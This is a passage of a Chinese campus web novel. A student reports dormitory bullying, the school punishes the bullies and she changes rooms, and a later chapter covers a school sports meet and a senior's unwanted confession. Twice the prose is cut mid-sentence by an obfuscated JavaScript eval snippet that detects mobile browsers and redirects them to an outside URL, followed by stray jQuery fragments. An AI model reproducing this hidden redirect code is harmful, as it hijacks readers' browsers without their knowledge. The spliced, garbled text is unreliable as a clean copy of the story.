她刚出办公室，廖清萍又追出来，问她有没有什么可以证明她被那三个人欺负了的证据？ 季苒抬头看她。 廖清萍握住她肩膀，语重心长地说：“季苒，我在一中教了快十年书了，这样的事情，我不是第一次见了，人心的恶有时候是你我都无法想象的，如果你有证据能证明你所言非虚，那么老师就能更有底气去帮你争取这件事，你明白吗？” 季苒点了点头，然后说：“昨天晚上她们又把我的漱口杯那些扔到了厕所的垃圾桶，我拍照了，然后后面我还录了音，录到了她们亲口承认我的漱口杯是她们扔的，并且这是第二次。” 廖清萍眼里闪过一抹惊讶。 季苒想了想，继续说：“还有之前她们剪了我几件衣服，我都还留着。” 季苒说完，见廖清萍神色复杂地看着她不说话，她垂下眼睫，心里一下有点紧张起来。 廖清萍问了她第三次：“季苒，那个整蛊玩具真的不是你做的吗？” 季苒还是摇头。 廖清萍示意她先回教室去。 “廖老师。”季苒叫住她。 廖清萍转过身，这是她第一次这么近距离仔细看季苒的眼睛，女孩的那双眼睛澄澈、明亮，就像水晶一样，纯洁又脆弱。 她低声说：“我只是想保护我自己。” 廖清萍：“嗯，老师知道。” 49. 祝福 季苒进教室之后，教室里安静了那么一瞬，各种各样的视线纷纷朝她望来，直到季苒回到座位上，教室里才又开始吵闹起来。 季苒找了个空白本子开始写廖老师要求的东西，同桌男生凑过来问：“季苒，鲁婉清她们几个脸上那个……真是你弄的啊？” 季苒摇摇头。 男生立马露出早有所料的表情来，又同她说：“鲁婉清她们三个，平时嚣张得不行，也不知道得罪了多少人，有人整她们也不奇怪。”他轻轻哼了一声，又泄愤似的说了句，“活该！” 季苒忽然停笔，扭头看他，故意问：“她们也得罪过你吗？那个整蛊的玩具该不会是你做的吧？” 男生听到她这么说，立马摆手撇清道：“跟我可没关系啊！不是我！” 男生悻悻转了回去，季苒收回目光，继续认真写起手上的东西来。 整个上午季苒一共被廖清萍叫出去了三次，一次是三个女生的父母来了，廖老师叫她过去跟三个女生对质，但对质的过程并不顺利，哪怕季苒拿出证据，家长们也不愿意承认自己孩子欺负了她，还口口声声说这事没那么严重，反而还怪罪起廖清萍把孩子们之间闹着玩的小事故意给放大了。 最后一次则是廖清萍眼见家长们不配合，便把这事上报给了主任，主任来了之后，季苒又被叫去了办公室，然后当着所有人的面，把事情全部重新交代了一遍。 主任了解清楚事情的来龙去脉之后，把季苒单独叫到一边问她的诉求是什么？ 当时季苒看着主任，心脏无法控制地一下又一下猛烈冲击着胸膛，她用指甲死死地掐着因为过于激动而发颤的指尖，声音缓慢但坚定道：“我要她们当着全班同学的面向我道歉，我还要换宿舍。” 这两个要求并不难办，主任甚至想过她会提一些更过分的要求，可是她并没有。 季苒的形象是主任印象里一贯好学生的形象，并且也能看出来性格是属于比较胆怯、内向的那一种，因为她说完就没忍住掉了眼泪。 “好，你的诉求老师知道了，你先回教室去吧。”主任说，又扭头看向廖清萍，“廖老师，你跟我出来一下。” 见人要走，旁边那三个女生的家长在主任办公室闹起来，其中一个化着浓妆的女人干脆上手一把抓住了主任胳膊质问什么情况？现在这是什么意思？合着那小姑娘说什么就是什么了呗！主任你可不要忘了，我们可是给学校交过钱—— 女人埋怨的话没说完，主任一把甩开女人的手，冷着脸道：“学校是学生读书求知识的地方，不是街头混混拉帮结派，几位既然心知肚明自己孩子是交了高价才能进来，就更该督促孩子用功学习，而不是一味纵容他们耍混！还有，我这儿是办公室，不是菜市场，请你们配合学校工作，不要无理取闹！” 几个家长挨了这一通训斥，全都鹌鹑似的偃旗息鼓了下去。 主任又眼如鹰隼般瞧了那三个女生一眼，三人根本不敢跟他对视，其中一个还一副要哭的样子往自己母亲身边靠了靠。 季苒走后，主任跟廖清萍在办公室外的走廊上说话。 主任把季苒跟他提的诉求都说了，然后问她的想法。 廖清萍说：“道歉是肯定的，还要加一个书面检讨，我之后会专门召开班会说一下这件事。至于宿舍的问题，这个不难解决，回头我跟王老师沟通一下，看看怎么调整。另外……” 廖清萍欲言又止。 主任看她一眼：“你有话就说，别支支吾吾的！那以前开大会的时候都敢站起来当全校老师的面怼我的人，你现在给我演什么恭恭敬敬呢！” 廖清萍难得笑了下，顺坡下驴道：“主任，我是想着，这几年一中类似的事情其实发生了不少，就上上届我高一带过的那个孩子，张婷，您应该还有印象吧？” 主任“唔”了一声，示意她继续说。 廖清萍说：“类似的校园欺凌行为越来越多，学校这边肯定得有相对应的预防和处置措施才行，一中一直走在市里所有高中学校的前列，在这种维护学生身心安全的大问题上，咱们更加不能落后啊！” 主任明显被她的话戳中了心坎，神色变得严肃起来。 廖清萍声音小了些：“主任，上个月市教育局出的通知您还记得吧？里面特别提到了要加强学生思想品德教育、法治教育和心理健康教育，要建设平安校园、和谐校园，下下个礼拜校长就回来了，我觉得这件事您需要从严、从重去处理，为一中所有学生树个典型。” …… 下午最后一堂课上完，廖清萍来班上叫季苒，说要带她去换宿舍。 季苒没想到这么快就能换宿舍，一路上都难掩喜色。 两人到了女生宿舍A栋，宿管王老师已经在门口等她们了。 三人边往407走，王老师说：“廖老师，下午那个鲁婉清和刘萍的家长已经来给她们办退宿了，407现在就剩魏舒涵和季苒两个了，我这边统计了一下，你们班别的寝室都住满了，同楼层只有七班还有一个空床位，要是把季苒调过去，那407就只有魏舒涵一个人住了哦。” 季苒听说鲁婉清和刘萍已经办了退宿，心中又是一阵惊涛骇浪——一中不是不让走读吗？ 廖清萍问季苒：“你愿不愿意搬去七班的宿舍住？要是不愿意，可能就得继续再在407住上一段时间，等等看后面有没有机会换。” 季苒一听，忙道：“我愿意搬！” “行。”廖清萍看眼王老师，问，“七班是哪个宿舍？” 王老师说：“418，喏，就那间！”她手指了指走廊尽头左手边的一间宿舍。 廖清萍说：“过去看看。” 418宿舍里人还没走完，有两个女生正在一边说笑一边忙着收拾东西。 三人走到门口，王老师敲了敲虚掩着的门，然后推开，说：“你们还没走哦！” 两个女生见到老师，立马收起嬉笑站起身来，季苒认出其中一个女生就是刘婧怡，她微微瞪大眼睛。 王老师把季苒要搬来418的事情同她们说了一下，刘婧怡一听，立刻一脸惊喜地拍手说太好了！又假装喜极而泣道：“终于有人跟我组搭子做清洁了！” 旁边另一个女生笑着给三人解释说：“我们宿舍卫生是上下铺组队轮流负责，婧怡上铺一直空着没人住，每次轮到她做清洁，都得我们帮她一起，这下可好了！” 两个老师一看俩女生这态度，顿时放下心来，同样放下心的，还有季苒，她从刘婧怡的眼睛里感受到了很浓的善意。 廖老师安排完季苒换宿舍的事后就走了，刘婧怡主动说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096174|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要帮季苒搬东西，旁边另一个女生也跟着说要来帮忙。 “她叫唐芷慧，我们都叫她智慧。”刘婧怡给季苒介绍。 季苒露出有些羞涩的笑容看了唐芷慧一眼，唐芷慧笑容爽朗道：“对，你就跟她们一样叫我智慧就行！”又问，“你的名字怎么写啊？Jiran？既然？” 季苒笑着说：“就是季节的季，冉冉升起的冉加一个草头。” 唐芷慧恍然大悟点着头，说：“好听诶！” 三个女生一起很快就搬完了东西，季苒最后看了眼407，空荡荡的寝室里只剩魏舒涵的床上还留着东西…… 刘婧怡拉了她一下：“走吧。” 季苒：“嗯！” 她们收拾好东西后一起出了学校，季苒说想请她们吃东西，三个女生便一起去了校门口旁边的小巷里吃小吃。 路上，唐芷慧才听说季苒受欺负的事，她表现得很气愤：“怎么还有这种人啊？自己不学还不让别人学？还冤枉你拿你泄愤？太不要脸了！” 季苒深吸口气吐出，轻松道：“不过现在已经没事了！反正以后我也不跟她们住一起了！”又突然想起什么，“哦对了，婧怡，我还没谢谢你那天帮我！” “什么什么？什么帮你？”唐芷慧忙问。 季苒便把那次她被舍友锁在厕所里然后刘婧怡帮忙把她放出来的事说了一下，唐芷慧“噢哟”一声，对着刘婧怡挤眉弄眼道：“不愧是我们宿舍长啊！路见不平拔刀相助！” 季苒问：“婧怡是宿舍长啊？” “嗯！”唐芷慧点头道，“她官瘾大得很！不止是宿舍长，还是我们班班长嘞！” 季苒由衷感叹道：“好厉害！” 刘婧怡嗔怒地打了唐芷慧一下，让她不要乱说话。 三人说说笑笑，季苒忽然想起周四那天下午刘婧怡来班上找她的事，她好奇道：“婧怡，你认识西宝吗？” 刘婧怡说：“认识啊！咱们小学不都是一小的嘛！” 一旁的唐芷慧惊讶地瞪大双眼：“你俩小学是一个学校的啊？” 季苒和刘婧怡一起点了点头。 刘婧怡又把前段时间李雅阳找她打听季苒的事也说了—— “……我是受李雅阳所托，李雅阳他是受你那几个朋友所托，本来最开始我什么都没打听出来，最后是有个叫什么……‘严什么彤’的女生，她从她们舍友那儿听说我在打听你，她就主动来找我跟我说了一点你的事，然后我就都告诉李雅阳了。” 季苒说：“严海彤？” 刘婧怡：“对对！就叫严海彤！” 季苒心中怔然，严海彤就是之前那个唯一看到她的处境，然后主动来跟她说，让她试着去跟那三个女生讲和的人。 唐芷慧在旁边听完都呆了，她语气羡慕道：“季苒，你朋友他们对你好好啊！还有室长！你也好好啊！” 刘婧怡笑，表情有些不好意思：“滚啦！肉麻死了！” 心里的困惑终于得到了解释，季苒嗓子眼却像是被堵死了，呆坐了好半天说不出话。 曾经，她以为自己是不被老天祝福的那个，所以命运才会安排这么一出让她去经历。 但风雨之后见彩虹，她终于明白，原来老天爷早就给了她最好的祝福，以及最棒的礼物。 50. 结果 和刘婧怡她们分开后，季苒就坐上了回家的公交。 路上她收到西宝发来的消息，问她回来了没？叫她回来了的话直接到程书逸家里集合，还说程书逸妈妈这周没出差，晚上要亲自下厨给他们做好吃的。 季苒看着接连不断发来的消息，湿漉漉的心越发柔软下来。 她觉得自己整个人都轻盈了。 有种重获新生的感觉。 她抿着唇，愉快地回复了一个“好哒！”。 晚七点，天色逐渐暗下来，红霞远去，天幕开始呈现出一种厚重的蓝调。 厨房里，古晓琴拴着围裙正在炸鸡翅，一门之隔的客厅里传来少男少女们放肆张扬的笑声，她扭头看一眼外面，柔声道：“小逸，西宝，可以准备开饭了哦！” 宋西宝从地毯上起身，几步跑到厨房门口朝她严肃地敬了个礼：“yesmadam！请问有什么需要我为您效劳的！” 古晓琴一边手拿筷子拨动着油锅里的鸡翅，一边笑得俯腰，问她：“又在看《法证先锋》啊？你都看多少遍了？” 宋西宝还没说话，程书逸来到她身后，手臂高出她一头地抬起靠在旁边门框上，声音慵懒地回老妈道：“保守估计第五遍了，她中了梁小柔的毒了。” 宋西宝颇为不满地回头瞪他一眼，说：“不许你说我们小柔姐的坏话！” 程书逸撇嘴，两手摊开：“我没说啊！” 宋西宝：“你说了！你说她有毒！你才有毒！” 程书逸要笑不笑地点头：“对对对，我有毒，我最毒。” 古晓琴笑着皱眉，招呼他俩：“好了别贫嘴了，来，把菜端出去。” 程书逸：“噢。” 吃过饭，古晓琴说自己去趟超市买点东西，让他们留着玩。 程书逸本想跟去帮忙，结果被老妈拒绝了。 古晓琴把空间完全地留给了他们几个年轻人。 古晓琴走后，六人集体闷头钻进了程书逸的卧室。 男生们火速开机子玩起了时兴的游戏，女生们则想尽办法逮到了钻到床底下的饼干，然后对其展开了一番“蹂躏”。 饼干最开始还嚎了几嗓子想试图引起程书逸的关注，但程书逸只是偏头瞟了她们一眼，说了句让她们小心不要被猫爪抓伤就又转过头去了。 下午刚被剪了指甲的饼干：我请问呢？？？ 伤心欲绝的饼干于是彻底放弃了挣扎，并在心里把程书逸这厮彻底地钉在了“见色忘友”的耻辱柱上。 听到季苒说她已经换了宿舍，并且新舍友对她很友善后，宋西宝和方思彤总算大大地松了口气。 宋西宝问：“那欺负你的人呢？你们老师有没有说怎么处罚她们？” 季苒摇头，又皱眉道：“不过有一件事很奇怪，下午我去换宿舍的时候，听王老师，哦就是我们那栋楼的宿管老师，她说鲁婉清和刘萍已经办了退宿……” “一中不是不能走读吗？”方思彤问。 季苒点头：“是啊，所以我觉得很奇怪。难道是学校突然又让走读了？还是……” 宋西宝替她补完了剩下的话：“还是说，她们不在一中读了？” 三人互相看看，谁都说不出个肯定答案。 直到周天下午返校，季苒才从班主任廖清萍口中得到了准确答案，竟和西宝猜测的一样——鲁婉清和刘萍俩人转学了！ 据廖老师所说，主任和她在与鲁婉清、刘萍的家长协商这件事的处理方式上分歧非常大，两人的家长表现出来的态度也非常无理且胡搅蛮缠，反正最后的结局就是两人的家长提出要给孩子转学，然后主任同意了。 另一件令季苒意想不到的事情是，这两人在转学前，还各自背了一个警告处分，虽然处分没有在全校广播通知，但是处分通知却是贴在了校园布告栏上的。 当然，三人中留下来的魏舒涵同样也背了警告处分，廖老师还要求她写了书面检讨，并在周天晚上的班会上当着全班同学的面念了一遍，她还当面向季苒道了歉，留下了不知是屈辱还是悔恨的泪水。 季苒这下终于明白廖老师先前同她说的会帮她尽力争取是什么意思，她心里实在感动，不知道怎么表达，最后就听从了西宝的建议，给廖老师写了一封长长的信。 信送出去后的第二天，季苒就收到了廖老师的回信。 廖老师在信上同她讲了一个故事，故事的主人公是一个叫“张婷”的女孩子，她曾是廖老师的学生，但后面因为分科选择了文科就去了别的班级。 后来她被同班的男生欺凌了长达一年之久，在此期间，她试过向老师和同学求救，但都没有得到重视，极度压抑之下，她开始在宿舍自残，后面被宿管发现后联系了她家长，这之后没多久她就退学了，再往后，廖老师也打听不到她的任何消息了。 廖老师在信的末尾鼓励她要尽快振作起来！要用强大的内心和坚韧的意志打败心中一切消极灰暗的情绪！一定要向上走！ 廖老师最后还给她写下了这样一句话： “季苒，要主动往光明的地方走，不要去阴暗潮湿处。生活，随时可以重新开始。” 就这样，季苒心里最后一丝不安也没有了，她满心只剩下一个念头：她一定要好好学！一定要为自己争取一个光明灿烂的未来！ * 五月初，四中要准备举行夏季运动会了。 通知发下来，邱俊杰兴奋得像个大马猴，在班里上蹿下跳地开始耍他体育委员的威风，但很快，他这威风就耍不下去了。 “……姐！我叫你姐了行吗？”邱俊杰赖在章楚楚桌跟前一脸讨好，嗓子都说冒烟了章楚楚也不同意报名去跳高。 “我真不行！”章楚楚也是一脸难受，“我……我看见那杆子我就发憷，我体育课上都试过好几回了，我一跑到那杆子面前我就停下了，我腿根本迈不开，我要去我就是个笑话！我不去！绝对不去！” “谁笑话你啊？谁要敢笑话你我第一个冲上去揍他！”邱俊杰信誓旦旦地赌咒发誓，亮晶晶的双眼毫无杂质地直视着章楚楚。 章楚楚被他看的莫名愣了一下，很快挪开了视线慌张地看向左右道：“我不知道……我真的不行……我……” “没什么不行的！你肯定行！班长大人，我求求你了！救救孩子吧！”邱俊杰硬的不行干脆来了软的。 他其实长得也挺好看，五官端正大方，浓眉亮眼的，就是有时候说话办事那个气质吧，瞧着会让人觉得他有点傻，但真的认真欣赏一下，还是有点美色在身上的。 章楚楚被他逼得脸都红了，最后晕乎乎地就同意了。 邱俊杰欢天喜地地把她名字登记上，高兴道：“班长，还是你最好了！” 章楚楚心脏狂跳，最后强逼着自己冷静，抬了下眼镜框道：“反正我就是去凑数的，你不要指望我能拿什么名次哈！” “不指望不指望！你放心，只要你去就行嘿嘿！”邱俊杰摇着尾巴走了。 章楚楚小心地回头觑了一眼少年的背影，仿佛看见了一条巨型大狗狗。 “楚楚，笑什么呢？”宋西宝忽然从她身边冒了出 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章楚楚呆呆地“噢”了声，然后半天没说话。 宋西宝疑惑道：“怎么了？你问这个干嘛？” 章楚楚摇摇头，说：“没什么，我就随便问问，你快抄卷子去吧！” 宋西宝哦了声，走开了。 这次的运动会，单人单项最多可以报两项，还可以兼报一个接力。 因为找不到人，邱俊杰直接给宋西宝顶格安排了项目，她的单项就是跳高和女子1500，后来邱俊杰听她自己说她跑步爆发力很强后，就把跳高给她换成了女子100米，同时她还要兼项4*100的接力。 为了运动会上能拿到好成绩，宋西宝开始每天晚上在回家的路上练跑步——她会提前四个站下车，这样从她下车的地方到她家的距离正好是2公里左右，她就刚好可以利用这段路来练习。 爸妈听说她要跑夜路都不赞成，觉得太危险了。 宋西宝说：“没事的，还有程书逸陪我呢！” 爸妈一听，哦，小逸也在啊，那还行。又嘱咐，不过还是要注意安全！别往黑灯瞎火车多的地方跑！ 宋西宝就嗯嗯嗯点头。 盛夏时节，夜晚潮热之中又夹带着一丝夜风的清凉。 这晚放学，车快到下一站时，宋西宝把她和程书逸的书包取下来扔给了公交车上那俩，然后强行拉起程书逸下了车。 公交车走后，宋西宝原地热了热身就准备开跑，旁边程书逸满头黑线，问她：“我什么时候答应陪你跑了？请问。” 宋西宝表情佯装不知看他，边倒着往前跑边道：“咦？你没答应吗？我怎么记得你答应——啊！” 一声惊叫脱口而出。 程书逸眼疾手快地冲上去一把抓住了她手腕，差点被脚下易拉罐绊一跤的宋西宝自知理亏，站直后心虚地冲他笑了笑。 程书逸无语加生气地吐槽道：“你要跑就好好跑！眼睛长着不看路！” 宋西宝“哦”了声，又问他：“那你还陪我跑吗？” “不跑我走着回去啊？”程书逸没好气地瞪了她一眼，然后趁她不备，撒腿就跑，“谁输谁请吃一周早饭！” 宋西宝瞪眼：“程书逸！你耍赖！” “这叫兵不厌诈。” “我还没喊开始呢！” …… 微风拂过，少男少女的笑声散落在风中。 51. 运动会（1） 四中校运动会为期两天半，在此期间，除高三的以外，其余两个年级的都不用上晚自习。 住校生们可以选择回寝室或是在教室待着，走读生们则可以提前放学回家。 老师们不太管这段时间，有的班级甚至还会联合起来组织放映会或是联欢会。 “真的假的？这么好玩？”宋西宝听得眼睛都亮了。 谢飞燕点头说：“真的，贴吧里有高二的现身说法，还有人贴图去年联欢会现场呢！” 她把手机递给宋西宝。 宋西宝立刻凑头过去道：“我看看。” 几天后，学校召集各班班主任开会，会议结束后，魏勇到教室宣布了运动会首日各班要举牌走方阵的事，顺便还说了买班服的事。 台下大家一听要买班服了，都觉得新鲜，吵吵闹闹起来。 魏勇又问有没有同学愿意负责这件事，话音刚落，就有好几个女生自告奋勇举起了手。 魏勇哭笑不得：“让你们竞选班委一个二个都躲着，说起买衣服倒是积极了。” 女生们都笑，文艺委员徐洋洋更是大胆开麦道：“老师，我们可不想穿丑衣服去走方阵！” 于是最后买班服的任务就顺势落到了徐洋洋头上。 这天下午，徐洋洋拉上运动会后勤主任谢飞燕专门找魏勇请了假，然后去了趟演出服租售一条街。 几圈下来，她们挑了不少衣服，风格很统一，都是学院风的套装，但回校后徐洋洋把照片拿给魏勇一看，却全部被否了。 不为别的，就因为报价太高了。 四中的学生除了云市本地的，还有不少都是附近县城考上来的，家里条件并不是很好。 魏勇别的都没听，一听她们挑中的衣服报价全都在两百以上，二话不说就都给拒了，让她们重新再选，最好只买上衣，单价不要超过五十块。 徐洋洋：“……” 在魏勇的强烈要求下，徐洋洋冥思苦想，最后终于想出了一个办法，魏勇听后也觉得不错，徐洋洋就放手开干了。 她先是找了一家卖空白T恤的店铺，跟老板讨价还价之后，以每件12元的价格一次性批发了55件空白T恤，然后她又去买了一堆颜料和廉价画笔回来。 T恤很快就送到了学校，魏勇专门拿出了一节晚自习给他们自由发挥创作班服。 大晚上的，旁边几个班的听见他们班那么闹腾，还以为他们是在开班会，结果下课后过去一看才知道他们是在自己创作班服。 说是创作，其实也就是往白T恤上按手掌印，啥颜色的都有，数量也不统一，全凭自己心意。 班上呢，倒是也有几位会画画的同学，比如谢飞燕。 这几位会画画的呢，就主要负责在大家按完巴掌印后再给大家的衣服上增添一些小的细节。 他们还专门给班主任魏勇“按”了一件班服出来，强烈要求他运动会开幕当天以及最后教师比赛环节的时候必须要穿上！ 魏勇能说什么？当然是哭笑不得地收下咯！ 当天晚上，宋西宝就把班服穿上了。 放学后几人碰面，程书逸一见她就问：“你这穿的什么啊？” “班服！”宋西宝骄傲道，“我们自己画的，牛掰吧？” 程书逸有点欣赏不来她身上那些乱七八糟的彩虹手掌，正准备吐槽两句，结果忽然瞥见了什么，上手拽了下她书包道：“你这后面画的什么？” 旁边方思彤和周笃文闻言也跟着凑了过来看，宋西宝干脆取了书包，露出完整的后背给他们看，并洋洋自得道：“我自己画的，帅吧？” 三人的目光齐聚在她T恤右后腰的位置，那里用黑色马克笔画了一幅巴掌大的小画，画面内容很简单，就六个人的简笔画，能看出来是三男三女的组合，最左边女生的脚边还蹲了只黑猫。 “这是我吧？”周笃文指着其中一个男生头像叫起来。 宋西宝扭着头也看不见，旁边程书逸替她嗯了声，又语气玩笑道：“我们三个男的里面就你一个戴眼镜的，你还最矮，肯定是你啊。” 周笃文没好气地白了他一眼：“你高你了不起啊！” 程书逸耸耸肩，突然伸出手指往宋西宝衣服上戳了一下。 少年指尖的温度隔着薄薄一层衣料传递到她心里，宋西宝心脏惊跳一下，扭过身瞪大眼睛看他道：“你戳我干嘛？” 程书逸表情看不出喜怒，但眼里自带三分幽怨对上她道：“为什么大家都是笑脸，我没有？” “因为你不配！”周笃文抢在宋西宝之前说。 程书逸：“……” 宋西宝反应过来后噗嗤一声大笑，周笃文说完就往方思彤身后躲，程书逸浅白宋西宝一眼，然后又朝周笃文比了个中指。 一个礼拜后，校运会如期举行。 和宋西宝不同，程书逸这次就参加了一个跳高的单项，别的项目都没报。 因为老早校团委的老师就跑他们班上去要人了，说校运会期间需要他和吴静初一起出镜拍摄一组校园宣传片，然后还要担任主持人，负责介绍方阵队伍和念加油稿。 运动会当天，上午九点四十，邱俊杰举牌率领十四班全体从主席台下走过。 他身上衣服是最花的，几乎全部被彩色手印按满了，一点空隙也没留，就像个花蝴蝶一样。 开幕式结束后，各项比赛就紧跟着开始了。 十四班的休息场地在乒乓球台旁边的空地上，后勤部队的女生们布置好班级休息区域后就迅速加入了徐洋洋率领的啦啦队行列。 谢飞燕还自制了“十四班必胜”的头巾分给大家，看得邱俊杰是热血沸腾，差点拉着谢飞燕拜把子。 100米比赛是最先开始的，男子组比完就是女子组。 邱俊杰也报名了100米，不出意料地进了下午的决赛，等女子100米开始预检后，他来到场边给宋西宝加油打气—— “什么都别管！直接冲就对了！”邱俊杰眼神坚毅地看着她，试图给她传授一点跑道经验，但宋西宝压根不耐烦听他讲这些，她还向旁边负责维持纪律的学生会干事告状道，“同学，他都站跑道上来了。” 迅速被撵走的邱俊杰：“……” 宋西宝说自己跑步爆发力很强不是吹牛，她小学初中每届运动会都报名，不管是长跑还是短跑，几乎都是前三名的成绩，有时候甚至是冠军居多。 读初中那会儿她们体育老师还问过她爸妈，有没有想过以后让她走体育生这条路，只不过被爸妈拒绝了。 宋西宝经验很足，邱俊杰看她热身就知道了。 他直接去了终点处等她。 枪响的瞬间宋西宝没有任何停顿地冲了出去，而后迅速和左右跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104782|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的同学拉开了距离。 她能感觉到自己身上以及脸上的肉都在颤抖，跑道两旁的欢呼声加油声淹没了她的听觉，她目光坚定地看向终点处，最后十米，眉心下沉，二次爆发冲了过去—— “我靠！13秒88！我靠！！”邱俊杰表情夸张地抱着头原地跳了起来。 旁边掐表的老师也吃了一惊，说：“破女子100纪录了呀这孩子！” 宋西宝迅速被人群围拥了起来，她边喘气边笑，脑子还是懵的，耳边立体环绕着谢飞燕和章楚楚的尖叫声，然后她突然感觉身子一轻——是十四班同学们把她抛了起来！ 加油稿雪片似的飞往主席台，坐在台上的程书逸也听说了她打破纪录的好消息，吴静初笑着起身探头望了一眼跑道尽头，同程书逸乐道：“西宝被抛起来了！” 程书逸跟着往右看了一眼，面上没显露什么，但接下来他连着念了好几封十四班同学写来祝贺宋西宝破纪录的加油稿。 下午的决赛，宋西宝没能像上午一样跑进14秒，最后只跑了个14秒05，但照样锁定了金牌，而邱俊杰则拿了一枚银牌。 校运会第一天，宋西宝比完100米就没事做了，剩下的两个项目都要明天才比，于是她也绑上了“十四班必胜”的头巾，加入了啦啦队里。 徐嘉树找到她的时候，她正在跳高的场地那边给章楚楚加油。 徐嘉树当着众人的面把她叫走了，两人来到一处僻静的地方，宋西宝看他半天不吭声，于是主动问他找自己什么事？ 徐嘉树没有直接切入正题，而是先说起了她拿金牌的事：“我听说你还打破了校纪录，好厉害！” 宋西宝被他一夸，整个人迅速局促了起来，只好尬笑说没有没有，运气好而已。 操场的喧嚣离他俩很远，但隐隐约约还是能听见一些，包括程书逸念加油稿的声音…… 宋西宝忽然察觉到一件事，好像每次她跟徐嘉树单独相处的时候她都会避不可免地想起程书逸……并且还总有一种“背着程书逸”的心虚感。 不对，她现在不就是背着程书逸的吗？ 想到这儿，宋西宝没忍住笑了一下。 “怎么了？”徐嘉树问。 宋西宝迅速回神，噢一声，摇头道：“没什么，那个学长你找我什么事你还没说呢？” “哦，也不是什么大事，我就是想跟你说，下个月中旬，我们社要开换届会了，你要是有想法想继续留在文学社的话，可以准备一下竞聘的演讲稿。”徐嘉树说。 “换届？” 宋西宝恍然大悟——对哦，马上高一要结束了，她就要升高二了，徐嘉树他们这一波人也要升高三了，不能再继续留在社团了。 宋西宝又问了几个竞聘方面的问题，徐嘉树都一一给她解答了，宋西宝向他道谢，徐嘉树却忽然沉默了。 “西宝，你其实不用对我这么客气。”徐嘉树忽然上前一步靠近了她。 宋西宝则下意识往后退了半步，愣道：“本、本来就应该说谢谢啊！而且要不是学长你，我这学期也没法转到广播部，我都还没谢谢你呢！” “你真的想谢我？”徐嘉树反问。 宋西宝点头：“对啊！” “那你怎么一直没发消息给我？”徐嘉树笑盈盈看着她，眼里的情意赤裸到神经大条如宋西宝也无法视若无睹。 52. 运动会（2） 徐嘉树说完那句话后宋西宝就傻在那儿了。 她不知道怎么回。 去年平安夜徐嘉树给她送了苹果，当时谢飞燕还调侃问：“都是社长亲手送的？” 她当时虽然没答上来，但是心里的想法是确定的，不然呢？徐嘉树专门亲手给她一个人送？那成什么了？ 但事后她有意无意地向曾跃打听了一下，才得知徐嘉树并没有给他们送过苹果，给他们送苹果的人是刘敏。 其实到这儿也没什么，毕竟两个社长嘛，可能徐嘉树就是随机选了个人送苹果，然后恰好选到了她。 但是周六平安夜那天一大早，徐嘉树又给她发消息约她出门玩，她当时留了个心眼，专门多问了一句还有谁？ 结果徐嘉树反问她：你还想有谁？ 宋西宝当时看着徐嘉树发来的消息心中没有任何旖旎，只觉得棘手。 她怕自己想太多了，又怕他是来真的，最后就只好实话实说自己已经跟朋友约好了。 徐嘉树后面也没有再回复她消息了。 那次之后，很长一段时间他们私下都没什么联系了，再然后就是过年的时候，徐嘉树又开始经常给她发消息，聊得都是一些日常话题，他还给她看了很多他的画，跟她提了他高考打算考央美。 宋西宝心里感觉越来越不对劲，但她总觉得这事不太可能，先不说徐嘉树那边了，就她自己，她要是敢跟徐嘉树早恋，程书逸绝对撕了她。 这货心眼比针还小，别说她真的跟徐嘉树在一起了，就算是知道徐嘉树喜欢她，他估计都会炸毛，往死里阴阳怪气她。 咦……想想就可怕。 所以宋西宝从来没觉得自己会跟徐嘉树之间发生点什么，抑或说，她从来没想过自己会跟程书逸讨厌的人产生什么太深的联系。 谁是自己人，谁是外人，这点她还是分得很清的。 但事到如今，徐嘉树忽然给她来了这么直白的一句，感觉就像是要准备捅破窗户纸似的，她就有点懵了。 她懵了半天，徐嘉树也不催她，好像就等着听她能说出什么来？ 宋西宝实在没办法，最后只好憋出一句：“对不起啊学长。” 徐嘉树眼底晃悠如春水一般的情意在她说出“对不起”三个字后瞬间消失得彻彻底底。 宋西宝低着头，并没有看到他脸上一闪而过的冷意，而等她再次抬眼，徐嘉树已经调整好了表情，还是那副一贯温和的样子道：“跟你开玩笑的，吓到了吧？” 宋西宝不管他是不是真的开玩笑，反正做出了一副心有余悸的模样，也笑着说：“学长你真吓到我了。” 徐嘉树微微眯眼，言归正传道：“那我跟你说的换届的事你回去好好考虑一下，社长副社长还有三个部部长的位置到时候都会开放竞聘，你好好准备，期待你的表现。” 宋西宝使劲点了下头：“嗯！” 第二天上午，宋西宝在参加女子1500米比赛前，不慎被几个打闹的男生撞倒然后扭到了脚。 邱俊杰听说后差点跟那几个男生打起来，被徐洋洋和几个男生拼命拉着才没动起手来。 宋西宝哭笑不得地被同学们一左一右架起来抬回了班级休息区，魏勇听说后紧急赶了过来询问她的情况，宋西宝说：“没事魏老师，我活动活动歇会儿就好了。” “伤筋动骨一百天，这个不能闹着玩。”魏勇环视一圈，点名让谢飞燕和邱俊杰扶着她去校医室看看。 他们很快到了校医室，校医检查过后说问题不大，应该没有伤到筋骨，宋西宝刚要高兴，又听见校医说：“但是也不能再跑步了，尤其是长跑，等你跑完脚直接肿一圈，到时候问题就严重了！” 宋西宝：“哦。” 四中校运动会没那么严格，运动员如果突发意外不能参赛的话是可以临时替补的，除非没有替补，那就只能算退赛或缺赛。 宋西宝现在上不了长跑了，邱俊杰两手叉腰，一脑门官司，根本想不到还有谁能顶上去。 “我去吧。” 